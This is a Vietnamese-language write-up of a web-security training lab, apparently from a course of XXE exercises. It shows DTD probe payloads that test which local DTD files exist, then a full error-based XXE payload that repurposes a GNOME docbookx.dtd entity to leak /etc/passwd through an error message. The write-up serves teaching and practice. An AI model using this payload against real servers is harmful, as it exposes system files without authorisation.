![image](https://github.com/user-attachments/assets/543bcdd8-f922-49ac-9989-79a07f85a313) "Open image" ta sẽ tìm được đường dẫn tới ảnh có chứa nội dung file `/etc/hostname` và hoàn thành bài lab: ![image](https://github.com/user-attachments/assets/fd8c96c7-fe8c-4179-90f5-0f17032ca166) ## Exploiting XXE to retrieve data by repurposing a local DTD ### Target Goal Bài lab này có tính năng `Check stock` bằng cách parse XML input nhưng lại không trả về giá trị yêu cầu Để giải bài lab, kích hoạt lỗi bao gồm nội dung của file `/etc/passwd` ### Analysis and exploit Đối với mục tiêu của bài lab, ta sẽ tấn công vào tính năng `Check stock` ![image](https://github.com/user-attachments/assets/1b1b7358-26f1-40a6-b84e-65143b5610b0) Sử dụng Repeater để xem nội dung response ![image](https://github.com/user-attachments/assets/abf64c2f-f720-46a8-974d-628cbc2df1a6) Vì cuộc tấn công **XXE** này liên quan đến việc tái sử dụng một DTD hiện có trên hệ thống tệp máy chủ, nên yêu cầu chính là xác định vị trí tệp phù hợp. Khi kiểm tra local DTD sai, nó trả về lỗi: ``` <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///WindowsSystem32/wbem/xml/cim20.dtd"> %local_dtd; ]> ``` ![image](https://github.com/user-attachments/assets/e1148ad4-d7e7-480c-856e-d98ce4376676) Khi kiểm tra local DTD đúng, nó sẽ không trả về lỗi ``` <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> %local_dtd; ]> ``` ![image](https://github.com/user-attachments/assets/304a0f53-5a57-4420-9937-46fe36c4731a) Dựa vào hint bài lab cho để đỡ mất thời gian search :)) ta có enity `ISOamso` ở trong **GNOME desktop**. Ta sẽ dựng được payload sau ![image](https://github.com/user-attachments/assets/dafe380a-fe3b-4baf-8fdd-f991897a9ed5) ``` <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; '> %local_dtd; ]> ``` Cách hoạt động: 1. Định nghĩa XML Entity tên là `local_dtd` hướng tới vị trí file DTD nằm trên server. 2. Bên trong file DTD, thực hiện định nghĩa lại `EntityISOamso` bằng cách trỏ tới file `/etc/passwd`. Sau đó cố tình chèn vào 1 đường dẫn không tồn tại. 3. Cuối cùng , thông qua việc gọi tới `local_dtd` sẽ bao gồm thực thể `ISOamso`. Nội dung của thực thể mới có chứa đường dẫn không tồn tại -> Gây ra lỗi -> Từ Error Message lấy được nội dung file mong muốn. Sau khi gửi payload, chúng ta nhận được thông báo lỗi chứa nội dung tệp /etc/passwd, bài lab hoàn thành: ![image](https://github.com/user-attachments/assets/f64126d3-11a7-4ba2-ae2c-e7256b4ef3e8)